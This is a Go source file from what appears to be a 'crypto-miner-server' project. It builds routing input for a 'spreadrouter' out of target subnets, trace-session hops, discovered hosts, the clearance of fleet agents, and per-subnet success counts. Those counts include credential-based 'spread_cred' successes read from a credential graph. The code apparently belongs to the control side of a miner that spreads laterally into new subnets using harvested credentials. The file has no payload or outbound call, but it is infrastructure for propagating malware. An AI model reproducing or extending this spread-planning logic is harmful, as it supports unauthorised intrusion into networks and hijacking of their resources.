Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
178 lines
4.0 KiB
Go
178 lines
4.0 KiB
Go
package api
|
|
|
|
import (
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/clearance"
|
|
"crypto-miner-server/internal/spreadrouter"
|
|
)
|
|
|
|
// buildSpreadRouterInput assembles routing context from Path Tracer sessions and fleet state.
|
|
func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets []string, requestedLane string) spreadrouter.Input {
|
|
in := spreadrouter.Input{
|
|
TargetSubnets: targetSubnets,
|
|
RequestedLane: strings.TrimSpace(requestedLane),
|
|
}
|
|
if hub == nil {
|
|
return in
|
|
}
|
|
|
|
for _, sess := range sessions {
|
|
if sess == nil {
|
|
continue
|
|
}
|
|
snap := spreadrouter.SessionSnapshot{SessionID: sess.ID}
|
|
for i, hop := range sess.Hops {
|
|
if hop == nil {
|
|
continue
|
|
}
|
|
subnet := spreadrouter.SubnetFromIP(hop.ExternalIP)
|
|
if subnet == "" && hub.db != nil {
|
|
if ag, err := hub.db.GetAgent(hop.AgentID); err == nil && ag != nil {
|
|
subnet = spreadrouter.SubnetFromIP(ag.IP)
|
|
}
|
|
}
|
|
snap.Hops = append(snap.Hops, spreadrouter.HopSnapshot{
|
|
AgentID: hop.AgentID,
|
|
AgentName: hop.AgentName,
|
|
Subnet: subnet,
|
|
SessionID: sess.ID,
|
|
HopIndex: i,
|
|
Connected: hub.isAgentConnected(hop.AgentID),
|
|
})
|
|
}
|
|
for _, host := range serviceGraphList(sess.ServiceGraph) {
|
|
sub := spreadrouter.NormalizeSubnet(host.Subnet)
|
|
if sub == "" {
|
|
sub = spreadrouter.SubnetFromIP(host.Host)
|
|
}
|
|
if sub == "" {
|
|
continue
|
|
}
|
|
agentID := strings.TrimSpace(host.AgentID)
|
|
if agentID == "" && len(snap.Hops) > 0 {
|
|
agentID = snap.Hops[len(snap.Hops)-1].AgentID
|
|
}
|
|
snap.Discoveries = append(snap.Discoveries, spreadrouter.SubnetDiscovery{
|
|
Subnet: sub,
|
|
AgentID: agentID,
|
|
Hosts: []string{host.Host},
|
|
})
|
|
}
|
|
in.Sessions = append(in.Sessions, snap)
|
|
}
|
|
|
|
hub.mu.RLock()
|
|
connected := make([]string, 0, len(hub.agents))
|
|
for id, conn := range hub.agents {
|
|
if conn == nil {
|
|
continue
|
|
}
|
|
connected = append(connected, id)
|
|
}
|
|
hub.mu.RUnlock()
|
|
for _, id := range connected {
|
|
if hub.db == nil {
|
|
continue
|
|
}
|
|
ag, err := hub.db.GetAgent(id)
|
|
if err != nil || ag == nil {
|
|
continue
|
|
}
|
|
latency := 0
|
|
if ag.LatencyMs != nil {
|
|
latency = *ag.LatencyMs
|
|
}
|
|
clearanceLevel := clearance.L0
|
|
if hub.clearance != nil {
|
|
clearanceLevel = hub.clearance.Level(id)
|
|
}
|
|
in.FleetAgents = append(in.FleetAgents, spreadrouter.FleetAgentSnapshot{
|
|
AgentID: id,
|
|
AgentName: ag.Name,
|
|
Subnet: spreadrouter.SubnetFromIP(ag.IP),
|
|
Clearance: clearanceLevel,
|
|
LatencyMs: latency,
|
|
JoinLane: strings.TrimSpace(ag.JoinLane),
|
|
Connected: true,
|
|
})
|
|
}
|
|
|
|
in.LaneSuccess = collectLaneSuccessStats(hub)
|
|
return in
|
|
}
|
|
|
|
func collectLaneSuccessStats(hub *WSHub) []spreadrouter.LaneSuccessStat {
|
|
if hub == nil {
|
|
return nil
|
|
}
|
|
type key struct {
|
|
subnet string
|
|
lane string
|
|
}
|
|
counts := make(map[key]int)
|
|
|
|
hub.mu.RLock()
|
|
connected := make([]string, 0, len(hub.agents))
|
|
for id, conn := range hub.agents {
|
|
if conn == nil {
|
|
continue
|
|
}
|
|
connected = append(connected, id)
|
|
}
|
|
hub.mu.RUnlock()
|
|
for _, id := range connected {
|
|
if hub.db == nil {
|
|
continue
|
|
}
|
|
ag, err := hub.db.GetAgent(id)
|
|
if err != nil || ag == nil {
|
|
continue
|
|
}
|
|
lane := strings.TrimSpace(ag.JoinLane)
|
|
if lane == "" {
|
|
continue
|
|
}
|
|
sub := spreadrouter.SubnetFromIP(ag.IP)
|
|
if sub == "" {
|
|
continue
|
|
}
|
|
counts[key{subnet: sub, lane: lane}]++
|
|
}
|
|
|
|
if hub.db != nil {
|
|
if rows, err := hub.db.ListCredGraphBySubnet(); err == nil {
|
|
for _, row := range rows {
|
|
if row.SuccessCount <= 0 {
|
|
continue
|
|
}
|
|
sub := spreadrouter.NormalizeSubnet(row.Subnet)
|
|
counts[key{subnet: sub, lane: "spread_cred"}] += row.SuccessCount
|
|
}
|
|
}
|
|
}
|
|
|
|
var out []spreadrouter.LaneSuccessStat
|
|
for k, n := range counts {
|
|
out = append(out, spreadrouter.LaneSuccessStat{
|
|
Subnet: k.subnet,
|
|
JoinLane: k.lane,
|
|
Success: n,
|
|
})
|
|
}
|
|
return out
|
|
}
|
|
|
|
func traceSessionsSnapshot(handler *PathTracerHandler) []*TraceSession {
|
|
if handler == nil {
|
|
return nil
|
|
}
|
|
handler.mu.Lock()
|
|
defer handler.mu.Unlock()
|
|
out := make([]*TraceSession, 0, len(handler.sessions))
|
|
for _, sess := range handler.sessions {
|
|
out = append(out, sess)
|
|
}
|
|
return out
|
|
}
|